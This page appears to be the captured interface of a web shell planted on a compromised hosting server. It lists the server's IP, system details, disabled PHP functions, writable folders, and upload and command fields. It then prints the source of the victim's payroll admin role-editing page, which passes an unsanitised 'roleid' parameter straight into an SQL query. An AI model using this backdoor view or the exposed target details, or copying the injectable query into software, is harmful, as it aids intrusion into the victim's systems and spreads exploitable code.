X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.21.46.129
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/payroll/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/payroll/admin/add_edit_roles.php
<?php
session_start();
@error_reporting(E_ALL & ~E_NOTICE);
if(!isset($_SESSION["adminuser"]) || $_SESSION["adminuser"]=="")
{
	header("Location:login.php");
	exit;
}
$uid=md5(uniqid(rand()));
include("../include/db.php");
date_default_timezone_set('UTC');
 $sysdate=date("Y/m/d h:i:s");
 $stdate1=date("l, d F Y");
$obj=new query_execution();
if(checkquery('action','edit')){
$roleid=$_GET['roleid'];
$row_select=mysql_query("select * from roles where roleid='".$roleid."'") or die(mysql_error());
$tot_select=mysql_num_rows($row_select);
$heading="Role";
$subheading="Edit Role";
if($tot_select!='0'){
	while($row=mysql_fetch_array($row_select)){
		$role_name=$row['role_name'];
		$resources_access=$row['resources_access'];
		$role_resources_id =$row['role_resources_id'];
	}
}
$submit="Update";
$action="update";
$submit_title="role_submit_update";
}else{ 
$heading="Role";
$subheading="Add Role";
$submit="Add";
$action="add";
$submit_title="role_submit";
}
require_once("header.php");
?>

<!----header ends-->
      <!-- Left side column. contains the logo and sidebar -->
      <?php
	  require_once("left.php");
	  ?>

      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>Manage <?php  echo $heading?></h1>
          <ol class="breadcrumb">
            <li><a href="dashboard.php"><i class="fa fa-dashboard"></i> Home</a></li>
            <li class="active"><?php  echo $subheading?></li>
          </ol>
        </section>

        <!-- Main content -->
        <section class="content">
          <div class="row">
            <!-- right column -->
            <div class="col-md-12">
              <!-- Horizontal Form -->
              <div class="box box-info">
                <div class="box-header with-border">
                  <h3 class="box-title"><?php  echo $subheading?></h3>
                </div><!-- /.box-header -->
                <!-- form start -->
                <form id="form-signup_v1"  name="form-signup_v1" method="post" action="querys.php?action=<?php  echo $action?>" class="form-horizontal validation-form-container" enctype="multipart/form-data">
                  <div class="box-body">
                  	
                    
                    <div class="form-group field">
                      <label for="signup_v1-cat_name" class="col-sm-2 control-label">Name</label>
                      <div class="col-sm-10 ui left labeled input">
                        <input type="text" class="form-control" placeholder="Role Name"  name="role_name" id="role_name" value="<?php echo $role_name?>" data-validation="[NOTEMPTY]" data-validation-message="Role Name must not be empty">
                        <div class="ui corner label">
                                <i class="asterisk icon">*</i>
                            </div>
                      </div>
                    </div>
                    <div class="form-group field">
                      <label for="signup_v1-status" class="col-sm-2 control-label"> Role Resources</label>
                    </div>
                    <div class="form-group field">
                      <label for="signup_v1-status" class="col-sm-2 control-label"> Resources Access</label>
                      <div class="col-sm-10 ui left labeled input">
                        <?php if($_REQUEST['action']=='edit'){?>
                        <select name="resources_access" id="resources_access" class="form-control" onchange="checkRole(this.value)">
                            <option value="All"  <?php if($resources_access=='All'){?> selected="selected" <?php }?>>All</option>
                            <option value="Custom" <?php if($resources_access=='Custom'){?> selected="selected" <?php }?>>Custom</option>
                        </select>
                        <?php }else{?>
                        <select name="resources_access" id="resources_access" class="form-control" onchange="checkRole(this.value)">
                            <option value="All"  <selected="selected">All</option>
                            <option value="Custom">Custom</option>
                        </select>
                        <?php }?>
                      </div>
                    </div>
                    <?php if(($role_resources_id=='0') && ($_REQUEST['action']=='edit')){?>
                    <div class="form-group field">
                      <label for="signup_v1-status" class="col-sm-2 control-label"> Resources</label>
                      <div class="col-sm-10 ui left labeled input">
                       		<div id="txtroleval"></div>
                        
                      </div>
                    </div>
					<?php }else{?>
                    	<div class="form-group field">
                      <label for="signup_v1-status" class="col-sm-2 control-label"> Resources</label>
                      <div class="col-sm-10 ui left labeled input">
                      <div id="txtroleval">
                       		<?php
							if($_REQUEST['action']=='edit'){
							$sql_role="select * from role_resources where role_resources_status='yes'";
							$result_role=mysql_query($sql_role) or die(mysql_error());
							$count=mysql_num_rows($result_role);
							if($count>0){
								while($row=mysql_fetch_array($result_role)) {?>
									<input type="checkbox" name="role_res[]" value="<?php echo $row['role_resources_id']?>" <?php if($role_resources_id==$row['role_resources_id']){?> checked="checked"<?php }?> />&nbsp;<?php echo $row['role_resources_name']?><br />
							<?php	}
							}else{
							echo "No Record";
							}
							}
							?>
                        </div>
                      </div>
                    </div>
                  <?php } ?>
                  </div><!-- /.box-body -->
                  <div class="box-footer">
                   <button type="button" class="btn btn-default" onclick="location.href='manage_role.php'">Cancel</button>
                    <input type="submit" name="smt" id="smt" value="<?php  echo $submit?>" class="btn btn-info pull-right">
                    <input type="hidden" name="<?php  echo $submit_title?>" value="<?php  echo $submit?>">
                    <input type="hidden" name="roleid" id="roleid" value="<?php  echo $roleid?>">
                  </div><!-- /.box-footer -->
                </form>
              </div><!-- /.box -->
            </div><!--/.col (right) -->
          </div>   <!-- /.row -->
        </section><!-- /.content -->
      </div><!-- /.content-wrapper -->
      
 
<?php
require_once("footer.php");
?>

Anon7 - 2022
SCDN GOK